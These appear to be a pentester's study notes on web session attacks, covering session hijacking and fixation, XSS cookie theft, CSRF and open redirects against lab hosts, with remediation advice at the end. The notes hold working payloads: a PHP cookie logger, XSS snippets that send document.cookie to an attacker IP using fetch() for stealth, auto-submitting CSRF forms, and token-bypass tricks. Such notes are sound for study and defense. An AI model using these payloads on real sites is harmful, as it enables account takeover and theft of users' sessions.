Session Security

Session Hijacking

In session hijacking attacks, the attacker takes advantage of insecure session identifiers, finds a way to obtain them, and uses them to authenticate to the server and impersonate the victim.

An attacker can obtain a victim's session identifier using several methods, with the most common being:

  • Passive Traffic Sniffing
  • Cross-Site Scripting (XSS)
  • Browser history or log-diving
  • Read access to a database containing session information

Session Fixation

Session Fixation occurs when an attacker can fixate a (valid) session identifier. As you can imagine, the attacker will then have to trick the victim into logging into the application using the aforementioned session identifier. If the victim does so, the attacker can proceed to a Session Hijacking attack (since the session identifier is already known).

Such bugs usually occur when session identifiers (such as cookies) are being accepted from URL Query Strings or Post Data. If, for example, a session-related parameter is included in the URL (and not on the cookie header) and any specified value eventually becomes a session identifier, then the attacker can fixate a session.

Session Fixation attacks are usually mounted in three stages:

  1. Attacker manages to obtain valid session identifier
  2. Attack manages to fixate a valid session identifier
  3. Attacker tricks the victim into establishing a session using the abovementioned session identifier

Example

URL with Token

End of URL is token. If I change end of url, I get different Cookie:

Cookie with Token from URL

(This assumes this kind of code:)

<?php
    if (!isset($_GET["token"])) {
        session_start();
        header("Location: /?redirect_uri=/complete.html&token=" . session_id());
    } else {
        setcookie("PHPSESSID", $_GET["token"]);
    }
?>

Obtaining Session Identifiers without User Interaction

Obtaining Session Identifiers via Traffic Sniffing

If we're in the same network as our victim, we could try sniffing the traffic to obtain their session identifiers in the first place.

Especially if the identifier is sent via url query params or the connection is note encrypted (but who doesn't use https in 2024?)

Sniff traffic with wireshark

Filter for http then go to Edit -> Find Packet

Screenshot of Wireshar Packet Filtering

Select String and "Packet bytes", search for cookie name:

Packet with Data

Obtaining Session Identifiers Post-Exploitation (Web Server Access)

During the post-exploitation phase, session identifiers and session data can be retrieved from either a web server's disk or memory. Of course, an attacker who has compromised a web server can do more than obtain session data and session identifiers. That said, an attacker may not want to continue issuing commands that increase the chances of getting caught.

If you happen to have hacked the webserver, you can easily locate saved session ids as well:

locate php.ini
cat /etc/php/7.4/cli/php.ini | grep 'session.save_path'
cat /etc/php/7.4/apache2/php.ini | grep 'session.save_path'

This will return the files were the sessions are stored (default is /var/lib/php/sessions).

Session Files are usually stored as sess_<sessionID>.

  • ASPNET Sessions: https://www.c-sharpcorner.com/UploadFile/225740/introduction-of-session-in-Asp-Net/

Obtaining Session Identifiers Post-Exploitation (Database Access)

show databases;
use project;
show tables;
select * from users;

Sometimes Sessions are stored in db (user table, session table, etc...)

Cross-Site Scripting (XSS)

For more information on XSS in general look at TBD. This section focuses on XSS in relation to Session Security. More infos on XSS can be found here.

Fuzzing/Testing for XSS

"><img src=x onerror=prompt(document.domain)>
"><img src=x onerror=confirm(1)>
"><img src=x onerror=alert(1)>

Cookie logger script

<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);

header("Location: http://www.google.com/");
exit;
?>

and fetch cookie with:

<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://<VPN/TUN Adapter IP>:8000/log.php?c=' + document.cookie;"></video>

Note: If you're doing testing in the real world, try using something like XSSHunterBurp Collaborator or Project Interactsh. A default PHP Server or Netcat may not send data in the correct form when the target web application utilizes HTTPS.

A sample HTTPS>HTTPS payload example can be found below:

<h1 onmouseover='document.write(`<img src="https://CUSTOMLINK?cookie=${btoa(document.cookie)}">`)'>test</h1>

Extra stealth

We don't necessarily have to use the window.location() object that causes victims to get redirected. We can use fetch(), which can fetch data (cookies) and send it to our server without any redirects. This is a stealthier way.

<script>fetch(`http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}`)</script>

CSRF

More infos on CSRF can be found here.

CSRF Basics

A webapp is vulnerable to csrf if:

  • the params for the targeted request can be guessed/read/otherwise determined by the attacker
  • The apps Session management is based on HTTP cookies only (included automatically in browser requests)

To exploit we (or an attacker) have to:

  1. craft a webpage that triggers the request (while impersonating the victim)
  2. make sure that the victim is logged in

    Example Attack (Post based)

    Let's say we have the following request (see the lack of csrf token):

POST /api/update-profile HTTP/1.1
Host: xss.htb.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://xss.htb.net/app/
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://xss.htb.net
DNT: 1
Connection: close
Cookie: auth-session=s%3AKI4-IGqHJU_doixGuCXRG3okS-sEu2-c.BbnDxlhdXyDQnSqgOJY3CWri4fWukYxUgF4mSrGM1uA
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

email=ela.stienen%40example.com&telephone=%28402%29-455-9682&country=France

Host a malicous website with the following form:

<html>
  <body>
    <form id="submitMe" action="http://xss.htb.net/api/update-profile" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>

host webserver with malicious website:

python -m http.server 1337

Then target/victim needs to connect to http://<your-ip>:1337/malicious.html And the details would be updated: Image of CSRF PoC (changed values to the ones we set in our request)

GET Based CSRF

Let's say we have the following request:

GET /app/save/[email protected]?telephone=%28834%29-609-2003&country=United+States&csrf=f2338ae28cc559666f3064b5243fd2404b0218c6&email=julie.rogers%40example.com&action=save HTTP/1.1
Host: csrf.htb.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://csrf.htb.net/app/save/[email protected]
DNT: 1
Connection: close
Cookie: auth-session=s%3AxMve8rQy7XxoPBfq3HUQO89Rfum7Q4iN.DSyz2Kn1iAnx9jDGuwqwu5Y1Oy3RnWjA7SIph3EDuSU
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

As you can see it is a GET Request and using a csrf param. We will just reuse this token in our attack:

<html>
  <body>
    <form id="submitMe" action="http://csrf.htb.net/app/save/[email protected]" method="GET">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="csrf" value="30e7912d04c957022a6d3072be8ef67e52eda8f2" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>

host it, tick victim to open it and we get the same result (change of values in profile).

POST Based CSRF

To get the csrf-token here, just host a webserver and try to exploit an XSS/Injection attack to fetch/send data to our server (incl. token)

XSS & CSRF Chaining

  • Combine XSS and CSRF to circumvent protections like anti-csrf tokens and same site/origin protections
  • Essentially store the CSRF payload/attack on the website using XSS

A request through XSS will bypass any same origin/same site protection since it will derive from the same domain!

  • academy.hackthebox.com

Weak CSRF Token

  • Try to find how tokens are generated (i.e. md5(username) we could verify check that by logging in and seeing our csrf tokens)

Check for the following and similar "token generation algorithms":

  • md5(username)
  • sha1(username)
  • md5(current date + username)

This can be done with a simple bash command:

echo -n <username> | md5sum

etc...

Additional CSRF Protection Bypasses

A little overview of protection bypasses

Type Explanation Example
Null Value Just leave the token Empty, Sometimes Server just checks for the headers CSRF-Token:
Random CSRF Token Recreate a fake token with random values Real:

CSRF-Token: 9cfffd9e8e78bd68975e295d1b3d3331

Fake:

CSRF-Token: 9cfffl3dj3837dfkj3j387fjcxmfjfd3
Use another Session's CSRF Token Create multiple accounts and try the csrf token of Account A for a Request of Account B -
Request Method Tampering Change the request type from. GET to POST Original

http<br>POST /change_password<br>POST body:<br>new_password=pwned&confirm_new=pwned<br>

Fake

http<br>GET /change_password?new_password=pwned&confirm_new=pwned<br>
Delete token Just remove the token in general. Do not send token (it may work)
Session Fixation If website keeps anti-csrf token in cookie and params, it probably isn't keeping the token on the server so just fix your token http<br>POST /change_password<br>Cookie: CSRF-Token=fixed_token;<br>POST body:<br>new_password=pwned&CSRF-Token=fixed_token<br>
Regex Bypass You can try to bypass Regex checks for website whitelists etc... www.google.com.pwned.zanidd.xyz or something like that

Open Redirect

An Open Redirect vulnerability abuses an already existing redirection mechanism of a website. For example:

$red = $_GET['url'];
header("Location: " . $red);

This code has no validation on the user supplied value (or value passed by some GET request) for the param url.

Here an attacker could pass in their url to redirect to like so: https://trusted.site/index.php?url=https://hackerman.com

(the important part is the url after the param url).

Here you can find an example to an Open Redirect in Microsoft's Defender for Cloud Apps.

Common URL Params for Open Redirects

  • ?url=
  • ?link=
  • ?redirect=
  • ?redirecturl=
  • ?redirect_uri=
  • ?return=
  • ?return_to=
  • ?returnurl=
  • ?go=
  • ?goto=
  • ?exit=
  • ?exitpage=
  • ?fromurl=
  • ?fromuri=
  • ?redirect_to=
  • ?next=
  • ?newurl=
  • ?redir=

Remediation Advice

Remediating Session Hijacking

  • Pretty challenging to counter session hijacking
  • Monitoring + Anomaly Detection
  • safer bet to counter than to eliminate all vulns

Remediation Session Fixation

  • Generate new session ID after authenticated operation (invalidate pre-login session id and generate a new one post-login)
  • use libraries and built in mechanisms for session management, don't build custom implementations

Examples

PHP:

session_regenerate_id(bool $delete_old_session = false): bool

Java:

...
session.invalidate();
session = request.getSession(true);
...

Remediating XSS

  • Validation of user input (on the server side)
    • Use positive approach (allowlist)
    • verify existence of actual Input
    • Enforce Input Size restriction
    • Check Input Type and only allow certain types
    • Check range of value and restrict it
    • Sanitize special chars
  • HTML Encoding Output (especially user-controlled output)
  • Do not embed user input into client-side scripts
  • Have a good CSP (Content Security Policy)
  • Make Cookies HTTPOnly!

Remediating CSRF

  • Check if user is authorized to perform action
  • Add randomly generated + non-predictable tokens (anti-csrf-token, csrf-tokens)
  • Referrer Header Checking
  • Implement Two-Step operation (Operation is not executed when called, but needs a verification)
  • Make Cookies SameSite!

Remediating Open Redirect

  • Strictly validate URLs
  • Do not use user-supplied URLs
  • Check supplied values (valid, not an URL, appropriate for the app)
  • Sanitize input with an allowlist of trusted hosts (or regex)
  • Force redirects to first go through a page notifying users that they're leaving the site